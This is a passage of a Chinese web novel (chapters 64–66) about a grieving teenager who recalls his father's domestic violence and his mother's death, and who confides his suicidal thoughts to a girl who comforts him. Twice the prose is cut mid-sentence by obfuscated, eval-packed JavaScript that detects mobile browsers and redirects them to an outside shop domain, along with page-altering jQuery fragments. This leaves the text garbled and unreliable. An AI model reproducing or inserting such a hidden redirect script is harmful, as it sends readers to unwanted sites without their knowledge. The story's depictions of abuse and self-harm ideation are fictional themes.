Dancedanceinnowhere Don''tdon''tdon''tdon''tdon''tbeafraidagain …… 男孩别哭 美丽世界的孤儿 可我的心 我的家 在哪里 在哪里呢我的朋友 静静地听 有个声音在说爱你 闭上眼 跟随她 跟随她就像跟着希望【注】 …… 没有伴奏,没有舞台,驰路清唱着《男孩别哭》,清冷中混着松弛,松弛着带着治愈。 谢劲舟的心绪随着她的每个音节而跳动,在寂静的夜晚,似有巨石落池,在他心湖漾起圈圈涟漪。 她为什么会唱这首歌? 是专门唱给他听的?好像之前无意间跟她说过自己喜欢这首歌,她记住了? 这首歌陪伴着谢劲舟度过无数至暗时刻,是他爬出深渊的出口,是拽他出泥潭的救赎。 她来了,亲口唱着,音调轻轻缓缓,少了高昂,多了低沉,比原唱更要击中他的心脏。 这几天压抑在心里的沉郁,此刻好像找到了出口。 谢劲舟拽紧被角,眼泪情不自禁夺眶而出。 继而蒙住脑袋,什么都看不见,什么也都听不见。 他的世界,唯独剩下隐忍的哭泣。 胸前的吊坠,散发出幽幽的蓝光。 他不是一个人,他的老妈陪着他,他的蝴蝶也陪着他。 他停止哭泣,拿起吊坠,轻轻抚着,用愧疚的声音说:“对不起,妈妈。” * 谢劲舟不知道自己什么时候睡着的,只知道自己是被热醒的。 眼睛还没睁开,便感到了极大的异样。 有个人正像水草般缠着他,贴着他,搂他的脖颈,腿跨在他腰上。 他以为是梦境,下意识想把人推开,但当手碰到茸茸的脑袋时,瞬间弹开手。 谢劲舟猛然睁眼,就着窗外透进来的些许微光,看到埋在自己怀里的人是驰路。 她这是梦游症犯了? 谢劲舟不敢动了,生怕把她弄醒,只垂眸静静地看着她。 她的眉间有一道轻轻的褶,是在做噩梦吗? 谢劲舟抬手,小心翼翼地抚着她眉间的褶,直到消散才松手。 她离他那么近,那么紧,身体的每寸热度都传过来,惹得他浑身燥热。 像夏日午后高悬的烈日,热度持续攀升。 他热,却不想动。 想被她这样靠着,一直靠着。 这样的温度,在提醒着他,他活着。 不只是靠呼吸、心跳活着,还靠着某种信念、某种意义存活。 怀里的人却不安分,脸颊朝他靠近,嘴巴直直地凑过来,好巧不巧,正好吻上了他的唇。 谢劲舟被她突如其来的举动弄得一怔,手脚都瞬间僵住,像被人束缚。 她的嘴巴很软,明明含着些许凉意,谢劲舟却觉得宛若烙铁。 艹,老子被人强吻了! 谢劲舟心头涌上一股无法明说的滋味,想推开她,又不想推开。 正在他犹豫之际,驰路的脑袋往后移去,离开了他的唇。 谢劲舟的手暗自收紧,身体也崩得紧紧的,泛着火焰般的烫意。 半晌,谢劲舟身体里的燥热才渐渐褪去。 他看着沉睡的驰路,忍不住抬手,手指从她手腕间的蝴蝶手链,到她的脸颊、右眼尾的胭脂痣,每一下的触摸,都似一场朝圣,圣洁、纯净,不惹一丝尘埃。 谢劲舟看着驰路姣好的妩媚面庞,指腹轻轻扫过她的唇,轻声说: “阿驰,你不是不喜欢别人欠你吗,我也不喜欢。” “这次是你先招惹我的,下次别怪我招惹你。” “阿驰,你是长在我身体里的美好,我的玫瑰,我的蝴蝶。” “永远盛放,永远飞旋。” 梦里人沉睡不醒,听不见神明的暗语。 64. 需要被守护的舟哥 「一次次破碎,一次次下坠,一次次站起来,一次次拼凑出不同的自己。 这样的日子循环往复。 “我即是世界”的想法好像只是天边的一片云,我够不到。 幸好你来了,你告诉我“就算月亮不会升起,我还会陪着你。” 谢谢你,小蝴蝶。」 ——《引路星》 驰路醒来时,闻到了洋桔梗香,迷迷蒙蒙地睁眼,想伸个懒腰,却发现右手臂还没完全伸展开,便碰到了硬物。 她一侧头,手臂撞到原木沙发硬硬的靠背上了。 她坐起来,看了看时间,蓦然一惊。 已是中午十一点。 这次,她的生物钟不灵了。 不应该啊,这沙发垫硬硬的,她是怎么一觉睡到十一点的? 也许是因为这些天又是熬夜刷题,又是惦记谢劲舟怎么样导致心力交瘁,昨晚又很晚才睡着导致的。 驰路向四周扫了圈,屋里空无一人。茶几上的花瓶里,插着三五枝新鲜的洋桔梗,有一朵开了花,其他的还是花骨朵儿。 屋外雾蒙蒙的,像笼了一层薄纱。 谢劲舟去哪里了? 驰路套上帽衫卫衣,推开门走出去。 外面的雾气很浓,走在雾中,不一会儿,身上、脸上都有点湿,眼睫上也氤氲开薄薄的雾气。 她四处看不到谢劲舟。 昨晚刚下过雨,地面湿漉漉的,几次差点滑倒。 他会去哪里? “舟哥!谢劲舟!”驰路喊着。 她继续往前走,也不知道走了多久,隐隐约约看到一棵树,树枝上挂着零星的枯黄叶片、一簇簇红艳艳的果子。 树下有一个少年,即使隔着雾气,也能清晰地看到他雾霾蓝的头发。 他不是站着,也不是蹲着,而是跪着。 一向挺直的脊背,此刻弓着,像一把弯弓,又像被折弯的树枝。 没了蓬勃的少年气,有的是一种无法说出口的颓然。 十二月十三日,今天是谢劲舟母亲的忌日。 他跪着,难道这里埋着他母亲的骨灰? 十二月,已入冬,山风吹过,凉意袭人。 驰路没有套外套,冷得身体打了个哆嗦。 她没有继续往前走,而是站在不远处望着谢劲舟。 寂静的山谷中,有风声、野果落地声,还有他轻微的啜泣声。 他在哭。 驰路看着谢劲舟的肩膀微微颤抖,心脏像被人狠狠捏住,又疼,又窒息。 他那么不可一世,那么张狂不羁。 但他也跟其他人一样,脆弱时会低头,难受时会哭。 他把自己裹上了一层层厚厚的壳,别人以为他无坚不摧,但她知道,壳里有一颗柔软的心脏。 这颗心脏,也会疼。 他在怀着怎样的心情,思念着他已经离去的母亲? 很心痛吧! 驰路静静地伫立良久,才缓缓朝谢劲舟走去。 每一步踩在枯草上,发出沙沙声,但即使走到了谢劲舟身后,驰路发现,他依然保持着方才的姿势,只是肩膀不抖了。 他一头雾霾蓝的头发,在雾蒙蒙的空气里,蓝出了一种灰调。 他整个人陷在雾里,透着破碎的阴郁,如风暴中摇摇欲坠的果子,即将坠落。 啪嗒,一枚山楂果落在了他的肩头,滑落,没入野草里。 随之落下的还有一片枯叶。 驰路弯腰,轻轻拂去他肩头的叶片。 谢劲舟还是没动,像一尊没有情感的雕塑。 “舟哥。”驰路轻声说。 谢劲舟的身体动了下,抬手擦拭着脸,继而转头去看驰路。 驰路看到谢劲舟时,心口忽地一紧。 他的脸上仍有残留的泪痕,有一滴泪水挂在眼睫上。 眼睛被雾气笼着,朦朦胧胧,唯有眼睛里的水光那么醒目、那么真切。 上次,他在烂尾楼被人暴打,浑身都是伤痕,愣是没哼一声,更没掉一滴眼泪。 但面对他的母亲,他终于露出最柔软、最脆弱的一面。 谢劲舟想要站起来,却发现腿麻了,刚用手撑地要站起来时,却看到驰路抬手碰他的眼睫。 他本能地往后一退。 驰路抬手往前,边擦着挂在他眼睫上的泪珠边说:“舟哥,难过时哭不是什么丢脸的事。” 谢劲舟这次没有后退,而是任由她帮自己擦眼泪。 她的指腹浸着凉意,似萧瑟冷风,也似炽烈火焰。 她那么轻的触碰,却如浪潮袭岸,一下一下地拍击着他的心脏。 谢劲舟微微闭上眼睛,一股玫瑰香近在鼻端,浓烈馥郁,是驰路的味道。 她将他搂入怀里,他的脑袋贴着她的胸膛。 他听到了她咚咚咚的心跳声,也感受到了她温柔的抚摸,正轻轻地抚摸他的脑袋。 他听到驰路说: “舟哥,有时世界很荒唐,我们会单枪匹马地被拽入深渊,但这并不代表世界的终结。总还有点什么,让我们停止继续下坠。” “假如火焰熄灭了,玫瑰枯萎了,每个深夜,我们总会等到月亮。” “就算月亮不会升起,我还会陪着你。” 这一刻,再大的迷雾,再远的征途,都成了远方。 近处的,是咫尺间的温度,是一轮升起的月亮。 谢劲舟抬手抱住驰路,哑声道: “阿驰,我的世界,一直是一场盛大的幻觉。茫然、痛苦、未知,是主旋律。我不知道明天在哪里、未来在何方。” “谢谢你,愿意陪着我,陪着破碎的我。” “你让我知道,我这样的人,也是可以有明天的;我的世界,也会升起一枚月亮。” * 他们在冬日的雾气里似乎抱了很久很久,直到谢劲舟感到驰路身体的哆嗦才反客为主,站起来,拉开宽松的冲锋衣,将她搂住,裹在怀里。 他们依偎着彼此取暖。 驰路看到了地上有块石碑,上面刻着:林寒梅之墓。 冷风吹过,枯叶落在墓碑上,已经落了薄薄的一层。 墓碑前放了几只饭碗,摆了一双筷子,饭菜看上去已经凉了。 饭菜前有一堆已经燃尽的灰烬,被风吹得四散开。 谢劲舟用手将枯叶拂开,声音哑哑的,跟驰路说起他父母的故事。 二十年前,谢劲舟的父母相遇,开始了自由恋爱,一年后,林寒梅不顾家里的反对,执意要嫁给谢鸿运。 那会儿,林寒梅父亲早早病逝,家里有一个身体不好的母亲,得知她要嫁给谢鸿运竭力反对。谁都知道,芳町镇有个叫谢鸿运的,整天不务正业,只知道泡妞儿,十里八乡都传开了。 谢鸿运是林寒梅第一个谈的对象,谈恋爱时,他把她捧在手心,各种对她好,她看到的全是真诚。 林寒梅一开始也会被外界的声音影响,犹豫着要不要嫁给他,但她看到谢鸿运一心只为自己好,便答应了他的求婚。 没有嫁妆,没有婚礼,也没有母亲的参加,林寒梅冷冷清清地嫁到了谢家,第二年生下了谢劲舟。 婚后,谢鸿运依然对林寒梅不错,直到有一次,谢鸿运发现林寒梅跟她之前的男邻居走得近,一切发生了巨变。 谢鸿运开始疑神疑鬼,开始不信任林寒梅,从起初的质问,到后来喝酒后动手推她,再升级到动手打她。 一旦开始暴力,便进入恶性循环模式。 谢鸿运再没停止过对林寒梅的家暴。 小小年纪的谢劲舟常常处于恐惧之中,他躲在门后,看到谢鸿运一次次对林寒梅施暴,看到林寒梅眼中的恐惧和痛苦,还有被打到流血时的求饶。 喝醉酒的谢鸿运是发疯的野兽,拳脚都落在林寒梅身上。 等谢劲舟长到六岁,鼓起勇气去阻挡谢鸿运打林寒梅,但被酒精控制的谢鸿运,连着谢劲舟一起打。 从那以后,谢鸿运的施暴对象又多了一个。 林寒梅不在家时,醉酒的谢鸿运会把谢劲舟当施暴对象;谢劲舟成绩考差了、跟人玩不小心把人弄倒家长来告状时、晚回家了,清醒的谢鸿运都会一次次打谢劲舟,有时拳打脚踢,有时拿起皮带抽,有时把他吊在树上用棍子打…… 这样的事不计其数。 日复一日,年复一年,谢鸿运打谢劲舟的理由、手段越来越多,谢劲舟身上的伤痕也越来越多。 他是从小便陷入深渊的人。 他有无数种理由堕落,但他在谢鸿运的打骂中,非但没有堕落,反而努力学习,每次考试都是年级第一。 他活在自己的世界里,没有朋友,没有交际。 他很孤独。 罗子昂却是个例外,常常找他玩,哪怕他不说话,他也会一直做那只喋喋不休的雀。 孤独时,能陪着你的人最可贵。 林寒梅怀谢林乔时,谢劲舟听到了林寒梅跟谢鸿运商量要不要这个孩子,谢鸿运说:“怎么不要,你好不容易才怀孕,这是我们的亲身孩子,必须要!” 谢劲舟看到林寒梅躲在房间偷偷抹眼泪,看到她怀孕时依然被谢鸿运施暴,看到她摸着肚子望着天神思飘忽,也看到她在深夜用力捶肚子…… 不管林寒梅在怀谢林乔时,经历过怎样的痛苦和挣扎,最终谢林乔还是呱呱坠地了。 生活并没有随着谢林乔的降生而转好,反而越发恶化,孩子的奶粉钱、尿不湿钱、玩具钱、育儿方式等,都成了林寒梅、谢鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560781|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运争吵的源头。 林寒梅骨子里有股倔劲,哪怕知道自己跟谢鸿运顶嘴了,可能会面临施暴,但依然会勇敢表达自己的想法。 谢鸿运血液里流淌着大男子主义,曾经对林寒梅的好,在琐碎生活的裹挟中,变成了不耐烦、不信任、暴躁。 打得最严重的一次,谢劲舟记得是谢林乔才一岁多,林寒梅那会儿正抱着孩子在门前喂奶,谢鸿运一上来便夺走了她手中的奶瓶,愤怒地摔到地上,玻璃奶瓶被摔得粉碎。 面对谢鸿运突如其来的举动,林寒梅吓了一跳,怀里的谢林乔被吓得哇哇大哭。 “谢鸿运,你这是干吗?”林寒梅皱眉不解地发问。 “我干吗?我倒要问问,你今天上午去干吗了!”谢鸿运满身酒气地质问。 针尖对麦芒,火药味极大。 谢劲舟站在旁边,听着他们一句一句地发问、回答、咒骂。 还是老问题,谢鸿运看到林寒梅跟男邻居在一家餐厅有说有笑,男邻居还帮她整理头发,关系亲密。 林寒梅一个劲地解释,谢鸿运不听,反而怒骂:“你这个臭不要脸的biao子,怎么还有脸回来的?你怎么不跟那个混账过日子的?” 一句句难听的话,从谢鸿运嘴里冒出来,林寒梅解释得越多,谢鸿运听烦了,把孩子从她手里扔到地上,完全不顾孩子的哭声,抬脚便朝林寒梅踹去。 谢鸿运的拳头砸在林寒梅脑袋上、身上,林寒梅保持着蜷缩、护住脑袋的动作。 这是她长期被施暴下意识的身体反应。 谢劲舟跟以往任何一次一样,跑过去想拽走谢鸿运,奈何力气小,根本拽不走他,反而被他一把推倒在地。 沉闷的声音,一下比一下重。 林寒梅保持着保护自己的姿势,一声不吭。 谢劲舟跑过去,扑在林寒梅身上,那些拳头如暴雨般纷纷转移到谢劲舟身上。 谢劲舟转头用不服输的眼神看谢鸿运,冷声说:“谢鸿运,你畜生不如!打女人的男的算什么东西!” 谢鸿运听了,怒气越发上涌,从裤腰上抽出腰带,狠狠地往谢劲舟身上抽。 “谢鸿运,你别打孩子,孩子没错。”林寒梅护住谢劲舟的脑袋。 “对,孩子没错,你有错!”谢鸿运又把腰带往林寒梅脸上狠狠甩去。 皮鞭声不止,林寒梅的脸上、脖子上、手上全是一道道的伤痕,疼得她眼泪禁不住掉下来,却没有发出一点声音。 谢奶奶去拉,谢鸿运直接朝她怒吼:“我们的事,你别管,一边去!” 谢奶奶再去拉,谢鸿运一个大力,把她推倒。 谢奶奶被推出去老远,身体猛然摔地,砸得生疼。 那次,谢劲舟看到了谢鸿运的暴戾,看到了林寒梅的隐忍,看到了谢林乔的大哭,也看到了谢奶奶的无奈和悲恸…… 有人把他再次拖入深渊,迅速往下陷落。 很快,他被黑暗掩埋。 他是那个处在黑暗里,长久见不到光的小孩。 那次,谢劲舟、林寒梅都受了很重的伤,身上几乎没一块好的,伤处都皮开肉绽。 等谢鸿运清醒后,会跟林寒梅示好,一遍遍强调自己那是酒精上头、失去理智,下次不会了。 见林寒梅不原谅自己,谢鸿运甚至跪下来请求原谅。 谢鸿运这招每次都管用,林寒梅都会原谅他。 谢劲舟却发现,每次林寒梅被打后,等伤好了,都会去姥姥家住几天,说是家里忙,要帮家里干活。 曾经的谢劲舟信以为真,后来才想通,哪里是家里忙,姥姥家才是她短暂停留的避风港。 日子就这么一直过着,谢劲舟以为他们的生活就这样了,在平静、施暴、求饶、平静中循环度过。 直到高一那年,林寒梅的意外离世。 那会儿,关于林寒梅去世的消息不胫而走,传着传着就成了谢鸿运经常家暴林寒梅,这次直接把她给杀了。 谢鸿运成了十里八乡流传的杀人犯。 …… 驰路听得心里揪痛,谢劲舟说的每幅画面,都如电影般,在她脑中一一放映。 这个看起来外表强大的少年,内心还住着那个曾经经常被家暴的小男孩。 谁都不会看到他波澜不惊的外表下,藏着不为人知的悲痛过往。 谁也看不到,他身上累年的伤痕。 谁也不知道,他曾一次次被拽入深渊。 原来,他比她历经的事情更可怕。 谢劲舟的脸上弥漫着气愤、伤痛,比眼前的雾更浓,比山石更重。 驰路下意识地往谢劲舟身旁再靠近一点,两人靠得更近。 “为什么……你妈会离开?”驰路到底问出了一直想问的话。 65. 我有小蝴蝶了 「暗恋,是在我的心里奏响了激烈昂扬的摇滚乐,声势浩大,却很快偃旗息鼓。 Z,我想靠近你,又怕靠近你。 因为,我不知道我能在芳町镇待多久,也不知道未来的方向。 我要好好藏起对你的心动。」 ——《小蝴蝶的日落》 见谢劲舟久久没回应,驰路连忙说:“你不说没关系,我知道,我不该揭你的伤疤。” 谢劲舟将驰路往自己怀里又带了带,眼神有些空茫地望着墓碑,声音里混着一点哑:“那年冬天,比今年的还要冷。” 那是谢劲舟记忆中最冷的一个冬天。 事发那天,跟之前的每一天并没有什么不同。 吃过晚饭,谢林乔要吃苹果,谢劲舟拿了苹果和水果刀,正往厅堂走,却看见满身酒气的谢鸿运回来了,正跟林寒梅吵。 一言一语间,谢劲舟瞬间听明白了,林寒梅看不下去谢鸿运经常酗酒、赌博,还动不动就打她,不想跟谢鸿运过了,想跟他离婚。 谢劲舟无数次想过,多希望老妈能跟谢鸿运离婚,这样的念头闪现过很多次,却一次都没有提过。 因为他有个需要老妈照顾的妹妹谢林乔。 但“离婚”的事,真正被拿出来说时,谢劲舟很慌,也很害怕。 他很怕老妈会离开自己,他希望能跟老妈在一起。 谢劲舟见两人的吵架阵仗,跟以往一样激烈,谁都不让着谁,谁都在比谁的嗓门大。 一个想离,一个坚决不同意。 吵着吵着,从动嘴到动手,谢鸿运依然是动手的那方,林寒梅依然是承受的一方。 谢劲舟上前要拉开谢鸿运,他却一次次将他推开。 推搡过程中,谁都没有感受到危险即将来临。 直到林寒梅脑袋汩汩冒血时,谢劲舟才从地上爬起来,一把用力将谢鸿运拖拽开。 那一下,几乎用尽了他全部的力气。 他眼睁睁地看着老妈倒地,像失去生机的枯草,风一吹便倒。 地面越来越红,宛若绽放一朵又一朵的罂粟,妖艳得刺目。 谢劲舟看到那把水果刀正插在老妈的后脑勺上。 …… 后来的很多个夜晚,谢劲舟都在想那把水果刀是什么时候插在老妈的后脑勺上的。 是被谢鸿运推倒时,碰撞到桌面的那一刻? 还是,别的时刻? 不管什么时候碰到的,都不重要了。 重要的是,老妈因出血过多,在医护人员赶到前便没了呼吸。 那之后的每一晚,谢劲舟都被梦魇缠绕,梦里是大片大片的罂粟花,漫山遍野,那么娇艳,那么醒目。 罂粟花渐渐变成一摊摊深红的血,再幻化成倒在血泊中的老妈。 他一声高过一声地喊着老妈的名字,摇晃着老妈,老妈却没有应一声。 他的声音在山谷里回响,全是凄凉,喊到最后,变得嘶哑,变得再无法喊出一个音节。 他如同山谷中的孤魂野鬼,希冀得到一点点恩赐,希冀着老妈能睁开眼,能张开嘴,跟他说一句:“小谢,妈妈没事。” 但他什么都没等到。 醒来时,枕头被浸湿了。 谢劲舟知道,小乔也做着类似的噩梦,也跟他一样,责怪着是自己害了老妈。 如果不是小乔要吃苹果,他就不会去拿水果刀;如果不是他没有制止住谢鸿运打老妈,后面的一切都不会发生了。 老妈就不会离开这个世界,离开他跟小乔了。 从那以后,他没有妈妈了。 …… 驰路听得胆战心惊、心如刀绞,下意识地握住他冰冷的手。 事情的真相,比她想象中的要残酷一百倍、一千倍。 人要一直背负着自责、愧疚生活,是有多痛苦。 谢劲舟的语调越说越低、越说越沉,仿佛被关在匣子里的陈年旧物,很难发出声响,就连撞到匣子,发出的声音都是沉闷的。 “那段时间,我的天黑了。”谢劲舟目光沉沉地望着墓碑,“没有我妈的日子,没有任何意义,我活得像行尸走肉。” “我妈去世那天,小乔吓得大叫,扑在老妈身上哭喊。从那以后,我没见她哭过,她从以前那个话多爱笑的小姑娘变成了沉默寡言心事重重的小孩。” “我们的世界变了,变得破烂不堪。即使太阳再大,在我们眼里,看到的都是夜晚。” 驰路看到了谢劲舟深邃眼眸里的破碎,仿若一戳即碎的琉璃。 “知道我为什么要打13个耳洞吗?” 驰路朝他的耳朵看去,她数过,大大小小的耳洞加起来有13个。 他是她认识的人里,不仅是头一个打耳桥的,还是头一个打这么多耳洞的。 她想了想,今天是12月13日,难道…… 驰路问:“你是为了让自己记住那一天?” “嗯。”谢劲舟眼里的破碎越发浓烈,“那一天,我要记一辈子,才对得起我妈。” 驰路情不自禁地将他抱住,轻轻抚摸着他被雾气浸湿的头发,轻声说:“舟哥,你妈离开这个世界,不是你的错,那是一场意外,你别自责了。你妈也一定不会怪你,她那么善良,一定会去天堂。即使她在天堂,也希望你能过得好。” “她还爱着你,只是换了个地方。” “你的世界曾破烂不堪,但现在不一样了,你有我了,我会陪着你,陪你度过白天,也陪你度过黑夜。” 谢劲舟将冲锋衣裹在驰路身上,紧紧地拥着她,像拥着不灭的太阳。 “阿驰,风大了,我们回家!” * 回静心小屋的路上,雾气未散,寒风萧瑟,吹起一地的枯黄落叶。 谢劲舟把驰路拥在怀里往前走,两人都在冲锋衣下。 外面再大的风,再多的寒冷,他们在彼此依靠中,寻得了一丝温暖。 驰路没吃早饭,脑袋晕晕沉沉,几乎是靠在谢劲舟胸膛上,听到了他胸腔里传出的咚咚咚的心跳声。 只是,这声音越来越微弱,听到谢劲舟说:“驰路,非要贴我这么近?” 她想说:“谁想跟你贴这么近。”但只张了张嘴,却说不出一句话。 眼前的雾气好像变浓了,浓得快看不清前路了。 谢劲舟感到怀里的人越来越重,脑袋沉沉地压在他的胸口。 他意识到驰路的不对劲,低头去看,看到她闭着眼,像是睡着了。 “驰路,驰路!”谢劲舟停下脚步,喊着她的名字,见她不应答,内心慌乱不已。 谢劲舟将驰路倚在自己的臂弯里,掐她的人中,刚掐两下,她睁眼了。 听到了驰路用低低的声音说“我饿”时,谢劲舟哭笑不得。 谢劲舟从口袋里拿出一根棒棒糖,撕去糖衣,塞到驰路嘴巴里。 “走,回去给你做饭!” 白桃味的清甜在驰路的唇齿间漫溢,缓解了低血糖带来的头晕。 这人真像魔法师,口袋里时刻装着一颗白桃味的棒棒糖,她开心时、不开心时、头晕时,他都会递给她。 被遗弃在芳町镇的她,终究也是有人在意的。 她不是一个人,她还有谢劲舟。 * 做饭时的谢劲舟似乎没那么颓丧了,脊背微微弓起,一手颠着锅,一手翻炒着锅里的番茄鸡蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560782|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,香气四溢。 开放式厨房里传来轰轰的抽油烟机的声响,菜升腾起的雾气,萦绕着谢劲舟,一派人间烟火气。 驰路要去帮忙,谢劲舟让她出去,理由是她的手太冰了,先缓缓。 她知道,他的手比自己的还冰。 这个看起来不可一世的少年,其实,心里藏着似水柔情吧,只是,很少有人看见。 他说的时候,她的心弦像被人拨动了下。 这样的情愫屡屡发生,他给她夹菜时,他不经意撩了下她额前的发时,他嘱咐她吃完饭不要立刻躺着时,他带她一起在山间漫步时…… …… 午后的雾气渐渐散了,阳光穿透云层洒在大地上,将枯黄树叶照得闪闪发光。 驰路跟谢劲舟并肩沿着静心湖走,踩着脚下的树叶,想着,希望自己以后的人生可以像这些闪闪发光的树叶一样。 希望谢劲舟以后的人生也是这样。 她被自己下意识的想法惊了下,怎么不知不觉中,对谢劲舟的挂念越来越重。 驰路侧头去看谢劲舟,看着他无可挑剔的痞帅侧脸,心忽然一跳,像飞鸟掠过枝头,惹得树枝颤动。 她想靠近他,却又害怕靠近。 她知道,她在担心什么,在害怕什么。 她担心未来,她害怕变数。 她不相信爱情。 爱情缥缈如烟,风一吹就散了,终究不长久。 如果不长久,为何要开始? 何况,他还是芳町镇出了名的浪子。 她不会一直困在这里,她要走出去,要去更广阔的天地,要奔赴前程。 有过的悸动,一次次被压下去,再藏起来。 好像什么都没发生过。 他们沿着静心湖走了一圈,又往山顶爬,等到山顶时,天完全黑透了,月亮升起来了,星辰也亮了。 驰路走得有些累,停下来稍作休息,冷风吹来,混着她微微的喘气声。 “这就累了?”有人在旁边说风凉话。 驰路抬头,望着看起来丝毫不累的谢劲舟:“你也不想想,我们都走多久了。” 大冬天的,她其实很想窝在小木屋里,哪里都不去。 但她知道,这些天谢劲舟应该都把自己关在小木屋里,跟他那郁期的情绪对抗。 现在,他需要走出来。 如果她的陪伴,能让他好受一点,她愿意陪他一起。 谢劲舟拉起驰路的手,面色格外镇定地往前走。 驰路忽然怔住,所有的感官瞬间迁移到手心,冰凉的手心传来一丝温度,干燥的、温热的,明明不那么暖,她却觉得像火炉般炙烤着。 她稍稍落在他身后,望着他那头被夜色笼罩着的雾霾蓝头发,轻轻唤他:“舟哥。” 谢劲舟立刻回头看她,眸子深邃,声音磁沉:“怎么了?” 驰路想说着什么,但在看到谢劲舟时,又止于唇间,最后只轻描淡写地说:“没什么。” 她想说:“舟哥,你的手很暖。” * 这是驰路第一次来到山顶,山顶的风景比半山腰的更美,寒风中,树影幢幢,不远处闪着些许灯火,点亮黑夜。 她仰头望天,一轮明月高悬夜幕,散发出柔和的光晕,周围缀着一颗又一颗的星星。 “这里的夜色真美!”驰路由衷感叹。 “这几天晚上,我都会先去老妈的墓地坐很久,再沿着我们刚才过来的路线走上来,就站在那里。”谢劲舟指向前方。 驰路望向前方,心尖一颤,那里是悬崖。 他站在那里做什么? “你不会……”后半截话,驰路说不出口。 66. 小蝴蝶遭遇困境 「世界赠我一座深渊, 你却在深渊上空雕刻一枚月亮。 从前,世界是凝固的。 现在,世界是流动的。 神明不会陨落, 神明会跟你说晚安。 我的蝴蝶,晚安。」 ——《引路星》 “就是你想的那样。”谢劲舟拉着她的手,走到悬崖边,“看,这儿很高,坠下去不至于摔个残疾。” 驰路一把甩开他的手,心里顿生怒气:“谢劲舟,你就那么不在乎你的命吗?” “气什么?”谢劲舟嘴里勾起一抹苦笑,“我现在不是好好的吗。” “我站在这里,一次次有想跳下去的欲望和冲动,就像我站在湖边时。”谢劲舟望着深不见底的山谷,“但每次我往前走一步,身体的一半出了悬崖时,我就会往后退一步,这样反复多次,最后会退回来,你知道为什么吗?” 谢劲舟拿出打火机,想点燃烟,但风大,吹灭了火焰。 他刚想抬手拢着,驰路的手伸过来,帮他挡住了吹来的风。 幽蓝色的火苗蹿上烟尾,随风飘忽,火舌渐渐漫上来,烟尾被点燃。 驰路望着他深深地吸了口烟,又吐出烟圈,伸手从他的烟盒里抽出一根,叼上,想从他嘴上叼着的烟借点火。 这个念头刚冒出来,又被她掐灭。 她想从谢劲舟手里拿打火机,却见他俯身朝自己凑过来,给她渡烟。 渡烟时,两人靠得很近,呼吸几乎融在一起,仿若冬日山谷间缠绵不绝的雾气。 星火闪烁,驰路的心像停止跳动,怔怔地望着谢劲舟。 她那双妩媚的丹凤眼在夜色里越发显得魅惑、神秘,眼眸里映着打火机上尚未熄灭的火光。 他们望着彼此,眼神碰撞,冷风中似乎能撞出连绵炙火。 驰路看似镇定实则有点慌地往后退了一步,抽了几口烟,让自己镇定下来。 她接着谢劲舟的话问:“为什么会退回来?是想着谢奶奶、小乔以后怎么办?” “一部分原因吧。”谢劲舟抽烟抽得快,吐出的烟雾多,笼着他的烟雾似把他圈在一个不真切的世界里。 似乎过了很久很久,谢劲舟的声音穿越风,穿越草木,抵达驰路耳边:“主要,是因为你。” …… 因为一个人,而放弃死亡,这个人,在另一人心中必然有着重要位置。 驰路在黑暗时刻,梁清安对她的精神疗法、情感关照,都让她一点点从黑暗中走出来。 他是她黑暗中升起的一枚月亮,温润,明亮,是此生抹不去的一道辉煌。 此刻,她听到谢劲舟说,他从悬崖边退回去,主要是因为自己。 那么,是不是可以说明,她在他心中的分量? 到底有多重她不知道,但她却知道,她的存在,给他带来了活下去的理由。 晚风吹过,寒气袭人,驰路抽完烟,将烟扔了撵灭,把冰凉的手放到外套口袋里。 她望着谢劲舟:“为什么主要是因为我?” 谢劲舟侧头,也望着她,眼眸里透出一丝不易察觉的温柔,连说话时语气都没有那么淡漠:“当我的身体一半探出悬崖边时,我的脑中会忽然蹦出你当时在湖边救我的场景,想起你边救我边骂我‘谢劲舟,你舍得放下谢奶奶、小乔?’‘谢劲舟,你不是说要做我的神明,要做我的救世主的吗?’‘谢劲舟,我不想一个人。’还有你说,‘谢劲舟,你欠我一条命,永远不两清!’” “我这人从不喜欢欠债,既然欠你一条命,我就没有离开这个世界的权利。” “阿驰,只要我活着,就会对你负责!做你的神明,也做你的救世主!” “所以,我不能坠落,也不能沉沦。” 谢劲舟拿着银质复古打火机,抚摸着上面的半个翅膀,声音低却坚定:“我要在风暴中起舞,找到自己的翅膀,飞往更高处。” “这世上有泥潭、有深渊,也有星河。阿驰,你是照在我残破不堪人生里的那条星河,谢谢你来到我身边。” 夜晚的风烈,他的眼眸里像藏着火焰,在这个瞬间,她想在他的眼睛里沉溺。 驰路放在口袋里还没被焐热的冷手被谢劲舟拿出来,握住,放到他的口袋里。 驰路一转头,对上谢劲舟灼灼的眼眸,里面似有无数繁星,闪耀迷人。 一个不该有的念头忽然冒出来:不长久又怎样?曾经拥有,比从未拥有,似乎更好一点。 世界沉默不语,心跳震耳欲聋。 他是她掩藏的梦,也是她想抓住的风。 谁的心在翻涌,谁的心又在风中呼啸,这是属于少年人藏在心间的秘密。 * 宁静被驰路的手机震动声打乱了。 驰路拿出手机,看到许婉给她发了好几条信息,最新的一条是:阿驰,你怎么不回我信息,在忙吗? 驰路敲出一行字:是在忙啊,我忙着跟喜欢的人在一起。 敲出来又想删掉,却不小心点了发送键,惊觉发出,吓了一跳,赶紧撤回。 